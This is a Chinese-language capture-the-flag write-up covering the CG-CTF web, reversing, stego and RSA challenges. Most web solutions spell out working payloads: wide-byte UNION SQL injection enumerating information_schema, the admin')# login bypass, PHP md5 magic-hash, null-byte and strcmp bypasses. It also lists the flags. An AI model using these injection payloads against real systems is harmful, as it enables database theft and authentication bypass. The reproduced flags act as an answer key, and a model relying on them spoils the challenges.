#南邮 CTF部分 write up
CG-CTF
2018.7
Welcome to http://aiqg.vip/
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
要满足md51==md52 并且 a!=‘QNKCDZO’
结合php的md5想到0e绕过
令a=s878926199a
(过md5后是0e开头)
构造
http://chinalover.sinaapp.com/web19/?a=s878926199a
即可
nctf{md5_collision_is_easy}
·这题不是web
打开看到一奇怪的图片
下载下来用文本打开
最后一行
nctf{photo_can_also_hid3_msg}
nctf{cookie_is_different_from_session}
Union select 手工注入
关于information_schema
information_schema
保存了数据库的信息
group_concat()
用于打印
查看当前库
id=%ee%27union select 1,database()%23
查看库中所有表
id=%ee%27union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
可以看到一共五个库,之前id=3时返回的"the fourth table"明显提示了flag在ctf4中
再看看ctf4中有哪些列
id=%ee%27union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
(其中0x63746634是ctf4的16进制gbk编码 转码网站)
flag!
在ctf4中搜索flag
令
id=%ee%27union select 1,flag from ctf4%23
总的来说就是 爆库 爆表 爆字段(列)
nctf{gbk_3sqli}
说说踩的坑: 之前用
id=%ee%27 union select 1,table_name from information_schema.tables where table_schema=database()%23
只能爆出第一个ctf 然后在里面转得各种头晕 还找到了admin和一串密文(解码后是njupt)
/x00
分析源码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
必须输入数字 必须包含#biubiubiu
题目提示了00截断
令nctf=666%00%23biubiubiu (%23为#)
nctf{use_00_to_jieduan}
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
网上找两段md5后为0e开头的字符串 赋值即可
nctf{php_is_so_cool}
也可令ab为数组(md5不处理数组)
if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code> echo $theflag; ?></code>
</div>
} ?>
} ?>
POST方式提交
pass==thepassword_123输出flag
nctf{bian_liang_fu_gai!}
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo ''.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "Logged in! flag:********************
";
}
if($query[user] != "admin") {
echo("You are not admin!
");
}
}
echo $query[user];
?>
只需要user==admin
令user=admin’)#
nctf{ni_ye_hui_sql?}
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
要满足!strcmp( p a s s , pass, pass,pass1)
让strcmp 返回0 即可(比较非字符串时会返回0 )
nctf{strcmp_is_n0t_3afe}
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
number 任意一位都不能是1-9的数字
number ==‘54975581388’
那么只能是0和字母
而且是个整数
那么就是十六进制数了
nctf{follow_your_dream}
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "Logged in! Key: ntcf{**************}
";
}
else {
echo("Log in failure!
");
}
}
?>
先封闭单引号
然后搜索md5后的密码
ntcf{union_select_is_wtf}
#逆向
import base64
def encode(message):
s = ''
for i in message:
x = ord(i) ^ 32
x = x + 16
s += chr(x)
return base64.b64encode(s)
correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
print 'correct'
else:
print 'wrong'
flag经过encode后是correct
反过来做一遍就好了
nctf{d3c0mpil1n9_PyC}
输入被一个数组加密
数组的第n个元素选择运算方式(加减乘异或)
数组的第n+1个元素指定输入的哪一位被运算
数组的第n+2个元素是运算数
数组总长15000 每三个一组
加密完成后对比结果
ok分析完毕
找到0x1060到0x1060+24*4到data(24个4字节的数据)
手动录入(FF与00的填充不管,小端序)
然后导出15000字节的数组 (用winhex选择block)(从0x10c0到0x10c0+15000) (少导出十个字节让我头疼了一上午)
逆向
#include
#include
using namespace std;
int main()
{
ifstream f15000("arr");
char s24[]={0xC4,0x34,0x22,0xb1,
0xd3,0x11,0x97,0x07,
0xdb,0x37,0xc4,0x06,
0x1d,0xfc,0x5b,0xed,
0x98,0xdf,0x94,0xd8,
0xb3,0x84,0xcc,0x08
};
char s15[15000];
char ch;
int j=0;
while(f15000.get(ch))
{
s15[j]=ch;
j++;
}
for(int i=14997;i>=0;i=i-3)
{
char v0=s15[i];
char v3=s15[i+2];
char r=s15[i+1];
switch(v0)
{
case 1:
s24[r]-=v3;
break;
case 2:
s24[r]+=v3;
break;
case 3:
s24[r]^=v3;
break;
case 4:
s24[r]/=v3;
break;
case 5:
s24[r]^=s24[s15[i+2]];
break;
default:
continue;
}
}
cout<
nctf{Embr4ce_Vm_j0in_R3}
发现三个子函数
void sub_40070E(char* input)
{
int result;
int i;
if (strlen(input)>0x51) //input 超过0x51(81)个字符GG
{
exit(1);
}
for(i=0;;i++)
{
result = strlen(input);
if(i>=result) break;
if(input[i]<=47||input[i]>57)//input[i]不符合GG
{
exit(1);
}
}
return result;
}
void sub_40078B(char* input,char* with_input)
{
int result;
int i;
for(i=0;;i++)
{
result=strlen(input);
if(i>=result) break;
if(input[i]!=48)
{
if( !input[i] || with_input[i] )
{
exit(1);
}
with_input[i]=input[i]-48; //with_input[i]为 0 的地方会被修改
}
}
}
第三个有三个检查函数
void sub_400AD4_1(char* with_input)
{
for(int i=0;i<=8;i++)
{
char s[24]=0;//初始化s
for(int j=0;j<=8;j++)
{
s[ with_input[9*i+j] ]+=1; //s[ with_input[0~80] ]+=1
}
for(int k=1;k<=9;k++) //s[1~9]要为1
{
if (s[k]!=1)
{
exit(1);
}
}
}
}
void sub_400AD4_2(char* with_input)
{
for(int i=0;i<=8;i++)
{
char s[24]=0;//初始化s
for(int j=0;j<=8;j++)
{
s[ with_input[9*j+i] ]+=1;
}
for(int k=1;k<=9;k++) //s[1~9]要为1
{
if (s[k]!=1)
{
exit(1);
}
}
}
}
void sub_400AD4_3(char* with_input)
{
int v6=3;
int v7=3;
for(int i=0;i<=8;i++)
{
char s[24]=0; //初始化s
for(int j=v6-3;j
看到第三个函数…甚至让我想无脑爆破…//然后发现爆破成本太高…
后来学习到single还有数独的意思…//当时我的内心是崩溃的
一个9*9的数独
sub_40070E//检查输入:不超过81个字符,只能输入1~9
sub_40078B//将输入填入数独表,如果填到原本有数字的地方就GG
sub_400AD4//检查有没有数字重复
sub_400AD4_1//检查每一行
sub_400AD4_2//检查每一列
sub_400AD4_3//检查每一宫
数独表就是那个unk_602080
百度在线解数独…
灰色的数字是题目中的,在flag中灰色为0
横着一行行拼接成flag
//那么多的加密函数主函数里怎么没有调用?(v6 v7 v8 v9 v10的字符串不是flag)
然后把v6~v10的字符串提出来用各种姿势跑了 StringEncryptFunction() //然鹅并没有什么X用
后来发现main里有一大段被nop掉了 (感谢五号机?)
才知道这是叫Self-Modifying Code(SMC) (感谢人人人)
浅析SMC技术
这样就需要把程序跑起来 让他自己还原自己了
然鹅在win上跑不了elf 所以在linux上用ida远程调试
IDA远程调试(elf文件)设置
ok 加密后的代码出来了
让它跑完 StringEncryptFunction() flag就出来了
flag{N0body_c4n_Mast3r_c_p1us_pLus!}
三个加密函数 很容易整理出流程
最后和check里的unk_100000ED0比较
flag{I5_th1s_7he_PR1c3_I’M_PAyiNG_f0r_my_pA57_m1stAk35?}
丢到ida里 程序思路还算清楚.
获取input(flag)---->加密---->字符串对比
//难的就是不知道怎么加密的
两堆字符被传入了sub_8DC//猜测是加密函数
//有个sub_8AA函数点进去发现是getpid getsid什么的 基本上可以确定是反调试
传入进来后按照每位减67的方式 跳转到dword_1048+deword_1048[v1]位置去执行代码(学习到了JUMPOUT居然还有这种用处…)
dword_1048长度是59 可以发现里面存着一堆十六进制数: 0xFFFFF***(能猜测到是相关地址)
so 代码的位置就是dword_1048首地址 + 0xFFFFF*** = 0x00000*** (1048的‘1’被‘FFFFF’进位丢失了) 所以代码地址在0x048+0x***处
然后到各个地址处看汇编(又复习了各种test cmp jz jnz) 可以总结出其中bdb相当于什么也没做
再回到main里的两大堆字符 可以发现有大量重复的字符
(与代码联系起来 猜测和循环有关)
于是可以发现有大量重复的hv{aG}[ur]ov…MCh{mG}结构(中间夹着不同数量的a和r)
跑个脚本 给hv{aG}[ur]ov MCh{mG} a v h[ur]ov(仅出现在开头) 这五种结构各位各减67 看看对应了哪些代码
得到这里把hv{aG}[ur]ov作为每个结构的开始 MCh{mG}作为结束ind是下标(对应的汇编是将input的偏移地址调整4位//感谢前辈的指点)
经过整理后发现开始的h[ur]ov不起作用 得到
void head()
{
Num_1=ch2//ch2是input的下一个字符
}
//其中有多少个a就减Num_1多少
//其中有多少个r就加Num_1多少
void tail()
{
ch2=ch1+Num_1-2*(ch1&Num_1);//ch1是input的当前字符
ind++;
}
//最后得到的input每一个字符应该与main中v5向下33个变量相同
思考过通过从对比字符串逆运算得到input
发现加密运算中有直接赋值的语句 所以看来是不可逆的了
那就爆破
code_v5=[27,114,17,118,8,74,126,5,55,124,31,88,104,7,112,7,49,108,4,47,4,105,54,77,127,8,80,12,109,28,127,80,29,96]
ch1=ord('}')
i=1#这里不清楚为什么要从code_v5[1]开始 导致flag从第三位开始
def anloop(a,r,ch):
Num_1=ch-a+r
ch=ch1+Num_1-2*(ch1 & Num_1)
return ch
for ch in range(0,128):#flag的内容一定都在ascii码里 所以上限是128
ch2=anloop(3,0,ch); #第一个结构 a有3个 r有0个 ...
if code_v5[i]==ch2:
i+=1
ch1=ch2#准备下一位
print(chr(ch),end='')
break
for ch in range(0,128):
ch2=anloop(3,3,ch);
if code_v5[i]==ch2:
i+=1
ch1=ch2
print(chr(ch),end='')
break
...
由于加密函数是一位一位修改的 每次修改都基于上一位字符
从main得知 input字符串的第一位与flag的最后一位相同
所以能猜到input第一位是’}’
之后以
for ch in range(0,128):
ch2=anloop(a,r,ch);
if code_v5[i]==ch2:
i+=1
ch1=ch2
print(chr(ch),end='')
break
为单位 把各个结构的a和r数量填上去…//学习使用了py…虽然还不是很懂…
这里从code_v5[1]开始 导致flag从第三位开始(不清楚为什么要从1开始)
flag{D3v1L_H0mur4_f**k_y0uR_bra1N}
//踩的坑:之前把code_v5填错了 导致浪费半天时间
winhex打开能看到 nvshen.jpg (由于有文件名所以猜测是压缩文件)
搜索jpg 能找到几个jpg的位置 其中发现附近有一个 love(应该就是提示了)
love 附近的数据形式与zip(0x504B030414…)相似
更多文件头 : https://www.cnblogs.com/WangAoBo/p/6366211.html
love正好覆盖了0x504B0304
更改后用.zip打开 有密码 猜测当然是love了~
计算图片md5 得到flag
flag{a6caad3aaafa11b6d5ed583bef4d8a54}
丢到ida发现
input必须是25个字节
一大堆的±^(但是真正影响到input的只有那么几个byte形的东西)
复制下来py处理一下吧
再把它们倒过来 +改成- ,-改成+ ,^不变
然后找到各个相对input的偏移
复制到程序里编译运行即可
nctf{th3_vM_w1th0ut_dAta}
encode_2(将被异或的input按一定规则放进output):
先找到函数对output更改的语句,将这句中的变量用上面的语句替换(直到代入的都是常量)
能够写出此函数对应的解码函数
//decode_2:
unsigned char output[]={0x00,0x03,0x09,0x3A,0x05,0x0E,0x02,0x16,0x0F,0x1F,0x12,0x56,0x3B,0x0B,0x51,0x50,0x39,0x00,0x09,0x1F,0x50,0x04,0x14,0x57,0x3B,0x12,0x07,0x3C,0x1C,0x3A,0x15,0x05,0x0B,0x08,0x06,0x01,0x04,0x12,0x16,0x39,0x05,0x0B,0x50,0x57,0x09,0x12,0x0A,0x27,0x13,0x17,0x0E,0x02,0x55,0x18};//这就是最后拿来对比的字符串
for(int i=0;i<=2;i++)
{
for(int j=0;j<18;j++)
{
input[j*3+i]=output[j+18*i];
}
}
encode_1(对input的每一位都按顺序异或str[]):
与上面同样的操作//这个函数规则更简单一点
//decode_1:
char str[]="feeddeadbeefcafe";
for(int i=0;i<54;i++)
{
input[i] ^= str[i%16];
}
最后打印出input即可
flag{wh4t_a_fuck1ng_4ss3mbly_styl3_C_progr4mm1ng_c0de}
//把str抄反了 足足晕了半天(看到字符串就忘了小端序)
维基百科: https://zh.wikipedia.org/zh-hans/RSA加密演算法
题目中有公钥(e,n)
以及加密后的信息m (听说是出题者把密文打成了m…)
首先将n分解为p,q,通过同余方程 de=1 (mod(p−1)(q−1)) 解出d
然后代入 md≡ M(mod n) 求得明文M
上工具
先将p, q 从n分解出来
并计算出d
最后将密文复制进去解密
flag{Acdxvf5vD_15_W7f}
文件结构大概是这样:
A图片在最前面显示,C图片中插着两张B图片(C图片看似png但是改成jpg格式才能打开)
没思路。。。